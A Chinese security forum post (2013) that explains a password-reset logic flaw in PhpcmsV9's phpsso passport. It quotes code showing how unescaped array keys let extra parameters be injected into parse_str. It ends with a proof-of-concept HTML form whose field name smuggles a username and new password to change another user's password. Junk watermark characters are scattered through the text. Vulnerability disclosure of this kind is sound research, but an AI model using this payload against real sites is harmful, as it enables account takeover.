找回密码
 立即注册
查看: 2665|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:3 X( f  \8 b/ h2 `6 Y

/ Z  Z& q- A# G! I8 Z( B, {6 I
- ~4 n% P! h2 O  h9 C, Iparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
) R0 ~7 q6 T& R. d
" {' X8 Z0 m  }3 l; @在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。6 U( l8 ?+ H: L( Q
$ l! g; ^4 Q- F0 g
我把它留给了你们。
, A3 |. x2 C; T/ S9 O# \不知道你们发现了它没有。& E: p; W7 l, o6 A' h

6 w6 v) \; K0 E7 U我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
" ?! ?1 F8 o* v0 l& z; C5 t
: E6 F8 E7 E; n" f8 l所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。$ z& z7 |3 y# X6 ?
- J) B; ^8 F; t" u; e
也就是
- O$ W; Z0 m1 N& }" I8 x) ?+ j: |. x% t* S9 m+ W
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& |9 {: Z1 x/ ~9 X. Y/ F+ F6 [% P8 _+ ]: ]: H7 M) j8 f/ w
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。6 u& F# i1 r" J5 c" t  W( U5 G, B

) ~; V* }6 b9 F" s
2 N, T% _1 r1 o* o4 o其实我们有这样的机会,看看代码,如下:
$ c1 P& i. y# H; V: ]$ v7 v% u
! k( L/ s  m( h, U% Z& u& v1 C
0 Q/ N+ I  V0 H' Z: [9 c7 L: mpublic function auth_data($data) {2 H0 H& h# w& i/ ]+ _
                $s = $sep = '';$ G. }& y$ o; Y6 g1 j
                foreach($data as $k => $v) {+ p$ t4 Q+ B/ B
                        if(is_array($v)) {9 _0 L( c: H' b/ E
                                $s2 = $sep2 = '';2 `5 H) g" t2 N- W
                                foreach($v as $k2 => $v2) {4 U5 q) T  k3 Q' J7 J" m" h
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);* K; c8 ^$ e/ p
                                        $sep2 = '&';
/ O9 s* ]4 N! @: ~# I8 L3 i% j9 M3 b                                }
4 v+ y/ B9 v; N! R3 a. K2 A0 Y7 ~                                $s .= $sep.$s2;5 }) }- z" J0 W% ~
                        } else {
7 M8 `+ K* h7 }5 a! V- |% [                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
  ?6 E4 M5 w3 j( q                        }2 t/ R9 N; q3 E4 R: X+ X) i
                        $sep = '&';# ]  a: I7 c$ c) O9 y" S8 F3 d
                }
; h# b. E3 m; H% C( h" y, M9 }+ G. I; T1 O* }
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));5 K' A3 \3 J  R4 L' t  E
                return $auth_s;+ z  m$ N1 V: I5 e  Z" u2 F
        }- `' W, y! B4 c* W- L# ^4 d

- Y, c* v6 y. t5 ^( H可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
/ I1 b5 i9 c- a/ _6 f4 y: f4 H1 D2 Z  ^$ F( X" D6 H1 G2 P
举个例子* T4 d+ {" z/ U/ L: E3 H

7 g: {1 y/ v/ L2 S# \- L; O( V$a[aaa=a&bbb] = 'a';3 A8 R- O4 H" L9 ?* M

2 `2 u# H7 }& l9 [0 K, A6 b会变成aaa=a&bbb=a
: a3 E1 p* l" \, G9 j0 r- r) R& p# N; w/ [, ^: P' i
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
! S' l& J& d/ r! h/ J, ^. {- ^: `
) }" a% ^$ Y; p& a这个时候,我们可以再去看一个函数。
  d  S! {* J# F: Q1 r* y9 @( s) [- c4 m# G4 j1 N6 f
就在这个文件内:
) w$ j2 a% ~( U6 o- E7 x0 d9 g- b/ p! ~; y$ k3 }
  \) o; P. v) |! b
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! d% F/ @. b, w. j) e                if($email && !$this->_is_email($email)) {" k. Q5 ?, f& D' [
                        return -4;
/ V8 u+ b+ b) B. }! ]                }& K2 C& c2 l' C
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
6 M) r, V. d- W! V* `: l+ g; P8 E        }
; l  E  I; r0 V& {/ S
& ]5 I4 l, [# m$ W5 o% h这是向通行证发了这样一个请求。
+ V" U% D* X+ `" b
" y+ k7 T# a& \* Q! f我们再跟到通信证代码里去看看,就会有所发现。; B* f5 k6 L  s& `1 ]

. \9 F0 @6 [+ k) D/ W7 ~: Y3 i, a" ~0 Q  P& ?( N3 U0 [
public function edit() {
/ Q7 m- U3 _3 a0 ^: d1 g% H2 i0 R//能省就省,太长了不是吗?
2 r' i0 D( L1 l4 T) g2 j& e7 y1 E7 S$ f' i4 N* j
if($this->username) {
4 R0 p9 Q( k6 u+ l8 {( H; T) _//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
( o8 t7 Q, o( g4 C2 E! }5 e                                $res = $this->db->update($data, array('username'=>$this->username));
2 K) J* X  ?- b, A; P5 c9 M- P                        } else {
- U5 X9 f8 E) D$ ~                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
+ k5 R* \1 o( p6 e& D7 m) c. m$ M                                $res = $this->db->update($data, array('uid'=>$this->uid));  d1 V& n& x* O
                        }
- e( W# E$ ?+ o9 w: C7 Y9 S% C' d4 N8 w
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
0 _( _& r% {* y) X5 |. s( m  c+ p! A* e: S
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')3 o" \7 W% c' X/ q! D7 G

! o2 _0 y5 g$ u" A# A/ Y2 s很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。7 [' o( n  G& c2 q# W# }

" Z4 h4 V/ I5 z1 l0 r: w  f我当然找到了:+ D  V" W( e' H, \) d
phpcms9/phpcms/modules/member/index.php
+ n2 u% K$ ~6 o8 _/ s3 \7 A
6 M5 s+ v) m9 j) E7 T; p$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
% [; u  m3 g9 I
+ \* c" B$ v! C然后就没有然后了。6 L. E" _5 G$ L* ^  x
  l1 u4 w" m. _6 i$ V, ^" r
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">- m6 u* a5 U7 N# P$ Z( ~
                                <table width="100%" cellspacing="0" class="table_form">
, ?  R. a2 v* Z9 J% [7 [/ H# y                                        <tr>
# ~5 L/ q5 ^4 c$ n                                                <th width="80">邮箱:</th>        , x9 i$ n% T# [" A
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
% H* C: b8 Y) v! @) F                                        </tr>
0 c5 d6 u( x2 S1 V& d4 H  N6 K3 W  a                                        <tr>* t% \5 t! p( h0 L
                                                <th width="80">原密码:</th>        , D6 U1 Z3 n" v) i: K' U8 M7 F0 H7 O
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
  F8 f* |# G9 I* O7 O, J                                        </tr># N' J0 T& o% e
                                        <tr>* T2 r4 b) \) j$ W1 c7 S! T
                                                <th>新密码:</th>
9 K4 v- k9 q& J( w8 i5 `                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>4 ^7 |% N; Y8 p9 T6 F
                                        </tr>
. P- X/ t2 r6 T( G                                        <th></th>
  Z* u7 R8 @( g( Y                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>- o, }! Z) Z6 g; x/ w
                                        </tr>
+ G2 i+ ^, ]' F( E1 [                                </table>3 g6 u4 u9 p& U' n/ d
- W* y2 ?* I% `
                                2 V& P% W+ ?: B
                        </form>
1 c* c/ R" [& c5 n7 M7 B9 N" d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表